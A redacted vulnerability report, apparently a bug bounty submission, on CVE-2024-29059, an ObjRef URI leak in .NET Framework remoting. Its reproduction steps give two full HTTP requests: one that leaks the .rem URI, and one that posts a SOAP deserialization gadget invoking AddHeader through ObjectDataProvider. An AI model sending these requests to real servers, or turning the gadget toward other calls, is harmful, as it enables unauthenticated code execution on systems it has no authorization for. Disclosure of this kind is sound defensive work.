[███] .NET Framework ObjRefs Disclosure (CVE-2024-29059)

How it was found

Microsoft .NET Framework could allow a remote attacker to obtain sensitive information. By sending a specially crafted request, an attacker could exploit this vulnerability to obtain the ObjRef URI and possibly execute arbitrary code on the system.

Evidences

GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
Host: ████
Content-Type: text/xml
__RequestVerb: POST

██████████

█████████

References

• https://code-white.com/blog/leaking-objrefs-to-exploit-http-dotnet-remoting/

Impact

CVE-2024-29059 in ASP.NET web applications that might unknowingly leak internal object URIs, which can be used to perform .NET Remoting attacks via HTTP, possibly allowing unauthenticated remote code execution.

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2024-29059

Steps to Reproduce

1. Create a first Request

GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1
Host: ██████████
Content-Type: text/xml
__RequestVerb: POST

2. Get the .rem URL

3. Create a Second Request

POST /<REM URL>.rem HTTP/1.1
Host: ███████
SOAPAction: ""
Content-Type: text/xml

<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3">&#60;ObjectDataProvider MethodName=&#34;AddHeader&#34;
  xmlns=&#34;http://schemas.microsoft.com/winfx/2006/xaml/presentation&#34;
  xmlns:x=&#34;http://schemas.microsoft.com/winfx/2006/xaml&#34;
  xmlns:System=&#34;clr-namespace:System;assembly=mscorlib&#34;
  xmlns:System.Web=&#34;clr-namespace:System.Web;assembly=System.Web&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;&#60;ObjectDataProvider MethodName=&#34;get_Response&#34;&#62;&#60;ObjectDataProvider.ObjectInstance&#62;
  &#60;ObjectDataProvider ObjectType=&#34;{x:Type System.Web:HttpContext}&#34; MethodName=&#34;get_Current&#34; /&#62;
  &#60;/ObjectDataProvider.ObjectInstance&#62;
  &#60;/ObjectDataProvider&#62;
  &#60;/ObjectDataProvider.ObjectInstance&#62;
  &#60;ObjectDataProvider.MethodParameters&#62;
  &#60;System:String&#62;X-Vuln-Test&#60;/System:String&#62;
  &#60;System:String&#62;{{randstr}}&#60;/System:String&#62;
  &#60;/ObjectDataProvider.MethodParameters&#62;
&#60;/ObjectDataProvider&#62;</ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>

Suggested Mitigation/Remediation Actions

Update .NET Framework to latest version.